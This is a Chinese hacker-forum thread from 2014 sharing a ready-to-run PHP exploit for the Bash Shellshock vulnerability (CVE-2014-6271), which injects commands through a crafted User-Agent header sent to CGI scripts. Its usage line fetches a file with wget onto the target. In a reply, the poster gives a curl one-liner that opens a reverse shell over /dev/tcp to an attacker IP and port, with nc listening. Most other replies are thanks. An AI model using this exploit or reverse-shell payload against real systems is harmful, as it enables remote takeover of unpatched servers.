查看: 17577|回复: 9

[CVE-2014-6271]Bash远程执行漏洞(附exploit)

[复制链接]
发表于 2014-9-25 15:20:57 | 显示全部楼层 |阅读模式
本帖最后由 C4r1st 于 2014-9-26 10:55 编辑

http://www.exploit-db.com/exploits/34766/
使用方法:php bash.php -u http://localhost/cgi-bin/hello -c "wget http://xx.xxx -O /tmp/shit"
[AppleScript] 纯文本查看 复制代码
<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: [url]http://www.gnu.org/software/bash/[/url]
Author: Prakhar Prasad && Subho Halder
Author Homepage: [url]http://prakharprasad.com[/url] && [url]http://appknox.com[/url]
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget [url]http://appknox.com[/url] -O /tmp/shit"
Reference: [url]http://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/[/url]
 
Test CGI Code : #!/bin/bash
        echo "Content-type: text/html"
        echo ""
        echo "Bash-is-Vulnerable"
 
*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");
 
}
$url = $x['u'];
$cmd = $x['c'];
 
    $context = stream_context_create(
        array(
            'http' => array(
                'method'  => 'GET',
                'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
            )
        )
    );
     
    if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
    die("Command sent to the server!\n");
    else
    die("Connection Error\n");
?>


相关链接:
http://marc.info/?l=oss-security&m=141157106132018&w=2
http://www.reddit.com/r/netsec/c ... ution_through_bash/
http://securityblog.redhat.com/2 ... e-injection-attack/
http://seclists.org/oss-sec/2014/q3/650
http://blog.erratasec.com/2014/0 ... d.html#.VCNKRufIZWN
http://pastebin.com/8NRv7s1Z
http://pastebin.com/kQ5ppEZD
http://www.csoonline.com/article ... -cve-2014-6271.html
http://permalink.gmane.org/gmane ... ;utm_medium=twitter

PS:ModSecurity声称已经针对CVE-2014-6271完善了过滤规则。

评分

参与人数 2i币 +20 收起 理由
Sinboy + 10 感谢分享
蓝色_ + 10 感谢分享

查看全部评分

回复

使用道具 举报

发表于 2014-9-25 15:34:20 | 显示全部楼层
收下了,谢谢,楼主
回复 支持 反对

使用道具 举报

发表于 2014-9-25 22:28:13 | 显示全部楼层
谢谢 收下了  :)
回复 支持 反对

使用道具 举报

发表于 2014-9-26 08:17:09 | 显示全部楼层
Please Tell Us,How to use it?

点评

reverse_shell_ip换成你的外网ip,port端口,nc  详情 回复 发表于 2014-9-26 09:53
回复 支持 反对

使用道具 举报

 楼主| 发表于 2014-9-26 09:53:55 | 显示全部楼层
ansbase 发表于 2014-9-26 08:17
Please Tell Us,How to use it?

[AppleScript] 纯文本查看 复制代码
curl [url]http://xxx.xxx.xxx.xxx/cgi-bin/vulnerable[/url] -A "() { :;}; /bin/sh -i >& /dev/tcp/REVERSE_SHELL_IP/PORT 0>&1"

reverse_shell_ip换成你的外网ip,port端口,nc监听
回复 支持 反对

使用道具 举报

发表于 2014-9-26 20:35:32 | 显示全部楼层
没人点赞就是你们的不对了
回复 支持 反对

使用道具 举报

发表于 2014-9-26 23:37:28 | 显示全部楼层
感谢分享!
回复 支持 反对

使用道具 举报

发表于 2014-9-27 16:18:58 | 显示全部楼层
非常好,继续努力
回复 支持 反对

使用道具 举报

发表于 2014-9-29 10:09:38 | 显示全部楼层
要把自己的文件丢网上啊、?
回复 支持 反对

使用道具 举报

发表于 2014-9-30 22:24:36 | 显示全部楼层
感谢LZ分享!去学学习习!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 08:04 , Processed in 0.036029 second(s), 14 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部